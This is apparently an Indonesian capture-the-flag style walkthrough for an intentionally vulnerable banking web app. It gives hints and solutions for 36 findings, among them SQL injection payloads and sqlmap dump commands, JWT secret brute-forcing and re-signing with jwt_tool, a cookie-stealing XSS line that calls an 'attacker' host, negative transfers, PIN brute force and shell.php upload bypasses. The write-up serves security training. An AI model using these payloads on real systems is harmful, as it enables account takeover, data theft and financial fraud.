C
Critical Vulnerabilities
5 temuan
01
SQL Injection pada Login
Critical Vulnerability
Form login rentan SQL injection. Titik yang rentan adalah field username, bukan password. Dapat dipakai untuk bypass autentikasi sekaligus dump seluruh database (kredensial plaintext).
SQLiAuth bypasssqlmap
🔑 Hint: Pikirkan payload boolean yang selalu benar pada kolom username, lalu komentari sisa query.
💡 Solusi ▾
- Pada field username masukkan:
admin'OR'1'='1'-- dengan password sembarang.
- Untuk akses DB, simpan request login di Burp, lalu jalankan:
sqlmap -r login.req -p username --batch --dbs --ignore-code 500,401 --risk 3
sqlmap -r login.req -p username --batch -D public -T users --dump --ignore-code 500,401 --risk 3
- Tabel
users menyimpan username, password (plaintext), is_admin, account_number, reset_pin.
02
JWT Token Manipulation (Weak Secret)
Critical Vulnerability
Token JWT memakai secret lemah yang dapat di-brute force, sehingga attacker bisa menandatangani ulang token apa pun — termasuk menaikkan diri menjadi admin penuh.
JWTWeak secretPrivilege escalation
🔑 Hint: Algoritma HS256. Brute secret dengan wordlist (rockyou) memakai jwt_tool.
💡 Solusi ▾
- Login, ambil JWT dari cookie/localStorage.
- Brute secret:
jwt_tool <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
Secret yang benar: secret123.
- Tamper & re-sign:
jwt_tool <TOKEN> -T -S hs256 -p 'secret123'
Ubah is_admin → true, pakai token baru.
03
Privilege Escalation via Registration
Critical Vulnerability
Endpoint registrasi tidak memvalidasi field secara ketat, sehingga menambah is_admin:true saat mendaftar langsung membuat akun admin — tanpa autentikasi apa pun.
Mass assignmentPrivilege escalationBOPLA
🔑 Hint: Intercept request /register dan sisipkan properti tambahan.
💡 Solusi ▾
POST /register body: {"username":"x","password":"y","is_admin":true}.- Respons menampilkan
"is_admin":true — akun langsung admin. (Validasi username/password juga lemah → temuan tambahan.)
04
Negative Amount Transfer
Critical Vulnerability
Kurangnya sanitasi input pada jumlah transfer. Mengirim nominal negatif justru menambah saldo (menarik dana dari akun tujuan) — pencurian dana langsung.
Business logicInput validationMoney theft
🔑 Hint: Apa yang terjadi jika amount bernilai minus?
💡 Solusi ▾
POST /transfer body: {"to_account":"...","amount":-200,"description":"x"}.- Respons "Transfer Completed" dengan
new_balance bertambah.
05
Balance Manipulation
Critical Vulnerability
BOPLA pada registrasi memungkinkan menetapkan saldo awal sesuka hati — efektif mencetak uang ke akun.
BOPLABusiness logicMoney creation
🔑 Hint: Tambahkan field balance pada body /register.
💡 Solusi ▾
POST /register body: {"username":"x","password":"y","is_admin":true,"balance":1000000}.- Respons menerima
balance:1000000 — saldo termanipulasi.
H
High Vulnerabilities
14 temuan
06
Weak Password Reset — Brute-force PIN 3-digit
High Vulnerability
Fitur reset password mengirim PIN 3 digit dan tidak ada rate limiting, sehingga PIN bisa di-brute force (000–999) untuk mengambil alih akun, termasuk admin.
No rate limitBrute forceAccount takeover
🔑 Hint: 3 digit = hanya 1000 kemungkinan. Gunakan Burp Intruder pada field reset_pin.
💡 Solusi ▾
- Minta reset untuk username target → PIN terkirim ke akun.
- Intercept
POST /api/v2/reset-password body {"username":"...","reset_pin":"123","new_password":"..."}. - Intruder pada
reset_pin, payload numeric 000–999. Respons sukses = "Password has been reset successfully".
07
Akses Transaction History User Lain (BOLA)
High Vulnerability
Endpoint riwayat transaksi memakai account number tanpa cek kepemilikan. Bahkan tanpa autentikasi pun data bocor.
BOLA / IDORBroken access control
🔑 Hint: Ganti account number pada URL dengan milik user lain (didapat dari dump SQLi).
💡 Solusi ▾
- Akses
GET /transactions/<account_number> dengan nomor akun korban. - Respons 200 mengembalikan riwayat (bahkan tanpa token). Coba juga nomor akun admin.
08
Upload File Berbahaya
High Vulnerability
Endpoint upload foto profil tidak memfilter tipe file, memungkinkan upload file berbahaya (mis. skrip).
File uploadNo type filter
🔑 Hint: Satu-satunya endpoint upload ada di Profile Picture. Coba unggah file non-gambar.
💡 Solusi ▾
- Via
POST /upload_profile_picture, unggah file .php/.html/.txt. - Upload sukses; file dapat diakses di
/static/uploads/<rand>_<name>.
09
Akses Admin Panel
High Vulnerability
Admin panel disembunyikan di endpoint rahasia dan dijaga klaim is_admin di JWT. Bypass dilakukan via manipulasi token.
Hidden endpointJWTBFLA
🔑 Hint: Setelah jadi admin via JWT (lihat #02), endpoint admin adalah /sup3r_s3cr3t_admin.
💡 Solusi ▾
- Buat token dengan
is_admin=true (re-sign secret123). - Akses
/sup3r_s3cr3t_admin memakai token tsb → Admin Control Panel terbuka.
10
Manipulasi JWT Claims (Impersonation)
High Vulnerability
Selain naik privilege, klaim user_id dapat diubah untuk menyamar sebagai user lain dan mengakses datanya.
JWTImpersonationBOLA
🔑 Hint: Ubah user_id dari milik Anda ke ID korban, lalu re-sign.
💡 Solusi ▾
jwt_tool <TOKEN> -T -S hs256 -p 'secret123' → pilih user_id, set ke ID korban.- Gunakan token baru untuk membuka halaman (mis. payment history) milik korban.
11
BOPLA — Excessive Data Exposure & Mass Assignment
High Vulnerability
Kurangnya validasi otorisasi di level properti objek menyebabkan data berlebih terekspos dan properti sensitif dapat di-set sembarang.
BOPLAMass assignmentAPI3:2023
🔑 Hint: Cari respons yang membocorkan field internal (mis. card_number, id), lalu kirim balik field tsb pada request tulis.
💡 Solusi ▾
- Amati endpoint virtual-cards / bill-payments yang membocorkan banyak properti (lihat #15, #24, #27).
- Tambahkan properti yang tidak seharusnya pada body (mis.
is_admin, balance, current_balance) — server menerimanya.
12
Race Condition pada Transfer
High Vulnerability
Tidak ada locking/throttling pada endpoint transfer. Mengirim banyak request hampir bersamaan menyebabkan saldo terpotong lebih sedikit dari total yang ditransfer.
Race conditionAPI4
🔑 Hint: Gunakan Burp "Send group in parallel" (single-packet attack) atau tahan beberapa request lalu Forward-All bersamaan.
💡 Solusi ▾
- Tangkap satu request
POST /transfer, kirim ke Repeater, buat group 10–20 request identik. - Kirim paralel. Bukti: beberapa transaksi punya reference & timestamp yang sama.
13
Transaction History Access (Excessive Exposure)
High Vulnerability
Excessive data exposure + BOLA: riwayat transaksi bisa diambil hanya dengan nomor akun, tanpa cek otorisasi, dan membocorkan query internal.
BOLAData exposure
🔑 Hint: Sama mekanismenya dengan #07, dan tetap bekerja meski unauthenticated.
💡 Solusi ▾
- Buka
/transactions/<account_number> langsung di browser tanpa login. - Respons membocorkan transaksi + bahkan
query_used (karena debug aktif).
14
Token Manipulation (No Expiry / Field Tampering)
High Vulnerability
Uji setiap bagian JWT yang dapat dimanipulasi: header (typ/alg), payload (user_id, username, is_admin, timestamp), serta menambah field baru. Token juga tidak punya waktu kedaluwarsa.
JWTNo expiry
🔑 Hint: Token tanpa exp = berlaku selamanya. Uji juga alg:none.
💡 Solusi ▾
- Pakai
jwt_tool/Burp JWT Editor untuk men-tamper tiap klaim & header, re-sign dengan secret123, amati perubahan otorisasi.
15
BOLA / BOPLA pada Endpoint API
High Vulnerability
Beberapa endpoint API tidak memvalidasi kepemilikan objek (BOLA) maupun properti (BOPLA): registrasi, update kartu, dll.
BOLABOPLA
🔑 Hint: Untuk BOLA, ubah ID objek (card_id, account, user_id) ke milik orang lain.
💡 Solusi ▾
- Contoh BOPLA: tambahkan
is_admin:true/balance di /register. Contoh BOLA: gunakan card_id milik user lain pada endpoint virtual-cards.
16
Information Disclosure (PAN / CVV / Query)
High Vulnerability
Output tidak disanitasi sehingga membocorkan data sensitif: nomor kartu, CVV, id internal, bahkan query SQL pada pesan debug.
Info disclosurePCI dataDebug
🔑 Hint: Perhatikan respons JSON yang membawa field lebih dari yang ditampilkan UI.
💡 Solusi ▾
- Panggil endpoint virtual-cards / transactions; respons membocorkan
card_number, cvv, id, query_used, dll.
17
Akses Card Details Tidak Sah (BOLA)
High Vulnerability
Karena kartu memakai id berurutan (tebakable), update-limit pada card_id orang lain membocorkan detail kartunya (PAN/CVV) — BOLA.
BOLAPredictable ID
🔑 Hint: Iterasi card_id = 1,2,3,... pada endpoint update-limit.
💡 Solusi ▾
POST /api/virtual-cards/<card_id>/update-limit dengan id berbeda → debug_info.card_details milik user lain bocor.
18
Akses Payment History Tidak Sah
High Vulnerability
Riwayat pembayaran ditentukan oleh user dari token; dengan memanipulasi JWT (user_id) bisa melihat history orang lain.
BOLAJWT
🔑 Hint: Gabungkan dengan #10 — ganti user_id di token lalu panggil endpoint history.
💡 Solusi ▾
- Re-sign token dengan
user_id korban → GET /api/bill-payments/history mengembalikan riwayat korban.
19
Race Condition pada Payment
High Vulnerability
Seperti transfer, endpoint pembayaran tidak punya throttling sehingga rentan race condition (Unrestricted Resource Consumption).
Race conditionAPI4
🔑 Hint: Kirim banyak request pembayaran paralel dan amati efek pada saldo/limit.
💡 Solusi ▾
- Group beberapa request pembayaran di Repeater, kirim paralel. Banyak respons "Payment processed successfully" pada timestamp berdekatan = race terbukti.
M
Medium Vulnerabilities
9 temuan
20
Token Storage Vulnerabilities
Medium Vulnerability
Token disimpan di tempat yang dapat dibaca JavaScript (localStorage / cookie tanpa proteksi), sehingga rentan dicuri lewat XSS.
Token storageXSS impact
🔑 Hint: DevTools → Application → cek apakah token terbaca via document.cookie / localStorage.
💡 Solusi ▾
- Amati token di localStorage/cookie yang tidak
HttpOnly. - Jika ada titik XSS, payload
document.location='//attacker/?c='+document.cookie meng-exfiltrate token → account takeover.
21
Upload Unauthorized File Types
Medium Vulnerability
Aplikasi tidak membatasi ekstensi/tipe file yang diunggah.
File upload
🔑 Hint: Uji ekstensi .php .xml .html .php5 .txt — jangan asumsikan semua difilter.
💡 Solusi ▾
- Pada Profile Picture, unggah file berekstensi tidak lazim — upload berhasil tanpa penolakan.
22
Path Traversal
Medium Vulnerability
Uji apakah nama/path file pada upload dapat dimanipulasi untuk keluar dari direktori yang dimaksud. (Penulis writeup tidak berhasil mengeksploitasi — jadikan tantangan riset.)
Path traversalResearch
🔑 Hint: Coba filename=../../etc/passwd pada multipart, akses balik via /static/uploads/....
💡 Solusi ▾
- Manipulasi
filename di Content-Disposition dengan urutan ../. Amati path yang dikembalikan. Eksperimen encoding (..%2f, ....//).
23
File Type Bypass (Null Byte)
Medium Vulnerability
Filter tipe file (jika ada) dapat di-bypass dengan teknik null byte / ekstensi ganda.
Filter bypassNull byte
🔑 Hint: Coba shell.php%00.jpg atau ekstensi ganda shell.php.jpg.
💡 Solusi ▾
- Unggah dengan nama
shell.php%00jpg; file dapat diakses di /static/uploads/...shell.php.jpg.
24
Mass Assignment pada Card Limit Update
Medium Vulnerability
Endpoint update limit menerima properti tambahan (current_balance) yang tak seharusnya bisa di-set user.
Mass assignmentBOPLA
🔑 Hint: Tambahkan current_balance di body update-limit.
💡 Solusi ▾
POST /api/virtual-cards/<card_id>/update-limit body: {"card_limit":1000,"current_balance":10000} → diterima.
25
Card Freezing Bypass (Auth Bypass)
Medium Vulnerability
Endpoint toggle-freeze tidak memverifikasi pemilik kartu, sehingga attacker dapat membekukan kartu milik user lain (DoS terhadap kartu korban).
BOLAAccess control
🔑 Hint: Kirim card_id orang lain ke endpoint freeze.
💡 Solusi ▾
POST /api/virtual-cards/<card_id>/toggle-freeze dengan card_id user lain → "Card frozen successfully".
26
Transaction History Manipulation (Card)
Medium Vulnerability
Riwayat transaksi per kartu bisa diakses lewat card_id tanpa otorisasi — BOLA.
BOLA
🔑 Hint: Endpoint /api/virtual-cards/<card_id>/transactions menerima id apa pun.
💡 Solusi ▾
- Akses
GET /api/virtual-cards/<card_id>/transactions dengan id milik user lain → status success.
27
Card Limit Validation Bypass
Medium Vulnerability
Lewat BOPLA pada update-limit, saldo kartu dapat diisi melebihi limit yang seharusnya.
BOPLABusiness logic
🔑 Hint: Set current_balance > card_limit.
💡 Solusi ▾
{"card_limit":1000,"current_balance":10000} diterima walau balance > limit.
28
Payment Amount Validation Bypass
Medium Vulnerability
Tidak ada validasi minimum/maksimum nominal pembayaran — bisa membayar di bawah minimum atau jumlah sangat besar (vektor money laundering).
Business logicInput validation
🔑 Hint: Bayar nominal di bawah minimum_amount biller, atau nominal ekstrem.
💡 Solusi ▾
- Kirim pembayaran amount di bawah minimum biller → diterima tanpa error. Nominal besar (mis. 1.000.000) juga diterima.
L
Low Vulnerabilities
8 temuan
29
Username Enumeration
Low Vulnerability
Endpoint forgot/reset password membalas berbeda untuk user yang ada vs tidak ada, sehingga username valid bisa dipetakan.
EnumerationInfo leak
🔑 Hint: Bandingkan status code & pesan: 404 "User not found" vs 200 sukses.
💡 Solusi ▾
- Intercept
POST /api/v2/forgot-password body {"username":"help"}. - Intruder dengan wordlist username. Username valid (mis.
admin) membalas 200 + "Reset PIN has been sent".
30
Upload Oversized Files
Low Vulnerability
Tidak ada batas ukuran file → unggah file sangat besar membebani resource (Unrestricted Resource Consumption).
DoSAPI4
🔑 Hint: Unggah file besar dan amati apakah ditolak. (Secukupnya — ini lab bersama.)
💡 Solusi ▾
- Unggah file besar pada Profile Picture; server menerimanya tanpa batasan ukuran.
31
File Overwrite Scenarios
Low Vulnerability
Unggah berulang dengan nama sama dapat menimpa file / menumpuk resource; semua upload tetap tersimpan & dapat diakses.
File uploadResource
🔑 Hint: Kirim request upload yang sama berulang, perhatikan nama file di respons.
💡 Solusi ▾
- Ulangi
POST /upload_profile_picture identik; tiap upload tersimpan (mis. /static/uploads/610046_etc_passwd) dan tetap bisa diakses.
32
Error Message Analysis
Low Vulnerability
Pesan error verbose membantu memetakan kerentanan — mis. error SQL di login mengonfirmasi parameter yang rentan injection.
Error-basedRecon
🔑 Hint: Kirim input yang memecah sintaks (mis. tanda ') dan baca pesan error.
💡 Solusi ▾
- Pada login, kirim
username=' → error "syntax error at or near ..." memastikan field username rentan SQLi (lihat #01).
33
Card Number Generation Pattern
Low Vulnerability
Analisis apakah nomor kartu yang digenerate punya pola yang bisa diprediksi. (Penulis writeup tidak menemukan pola — tantangan analitik lanjutan.)
CryptanalysisResearch
🔑 Hint: Generate banyak kartu, kumpulkan nomornya, cari keterkaitan/entropi rendah.
💡 Solusi ▾
- Buat ≥5 kartu, bandingkan digit per posisi. Pada writeup tidak ditemukan pola — dokumentasikan metodologi & kesimpulan Anda.
34
Biller Enumeration
Low Vulnerability
Daftar biller per kategori dapat dienumerasi dengan menebak category_id berurutan.
Enumeration
🔑 Hint: Iterasi category_id = 1,2,3,...
💡 Solusi ▾
GET /api/billers/by-category/<category_id> dengan id 1..n → detail tiap biller (account_number, min/max amount).
35
SQL Injection pada Biller Selection
Low Vulnerability
Uji apakah pemilihan biller rentan SQLi. (Pada writeup tidak ditemukan — tetap latih metodologi pengujian Anda.)
SQLiNegative test
🔑 Hint: Sisipkan payload SQLi pada parameter biller/category dan amati error/timing.
💡 Solusi ▾
- Uji
category_id dengan ', OR 1=1, sleep payload. Pada lab ini tidak terbukti rentan — dokumentasikan sebagai hasil pengujian negatif.
36
Reference Number Prediction
Low Vulnerability
Nomor referensi pembayaran mengikuti pola (berbasis timestamp) sehingga referensi transaksi user lain bisa diprediksi.
Predictable token
🔑 Hint: Lakukan beberapa pembayaran, perhatikan format BILL<number>.
💡 Solusi ▾
- Bandingkan beberapa reference (mis.
BILL1748002344 vs BILL1748002479) → pola epoch/incremental terlihat & dapat diprediksi.